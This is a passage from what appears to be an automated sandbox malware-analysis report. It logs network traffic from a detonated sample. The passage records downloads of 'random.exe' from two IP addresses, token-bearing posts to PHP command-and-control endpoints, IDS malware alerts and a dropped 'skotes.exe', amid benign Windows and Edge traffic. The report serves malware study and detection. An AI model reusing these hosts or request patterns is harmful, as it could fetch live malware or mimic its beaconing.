61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 2d 2d 0d 0a Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="message"ybncbhylepme------EHJDGHJDBFIJKECAECAF--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBFCAFCBKFIEBFHIDBAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 2d 2d 0d 0a Data Ascii: ------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KFBFCAFCBKFIEBFHIDBA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49760 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49885 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:58828 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 26_2_007DBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

26_2_007DBE30

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=N9o2mW8ABLwWHod&MD=ycxe2skd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /config/v1/Edge/117.0.2045.47?clientId=6686581979505309747&agents=Edge%2CEdgeConfig%2CEdgeServices%2CEdgeFirstRun%2CEdgeFirstRunConfig%2CEdgeDomainActions&osname=win&client=edge&channel=stable&scpfull=0&scpguard=0&scpfre=0&scpver=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=6&mngd=0&installdate=1696426482&edu=0&bphint=2&soobedate=1696426478&fg=1 HTTP/1.1Host: config.edge.skype.comConnection: keep-aliveIf-None-Match: "pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="Accept-Encoding: gzipSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733145275&P2=404&P3=2&P4=OOj842ellr5tgHkM78u8OKOFD5cmUH1VVBtpwkN4tG948Kmeonk%2fA2m8WkCRzOzlst9Lx7242RaTT6QXcnSYsA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: tX3CqhvzNPm7JfsBqr2jtxSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1732540483020&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=331C9059D5CC671123A1851BD4CD6669&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
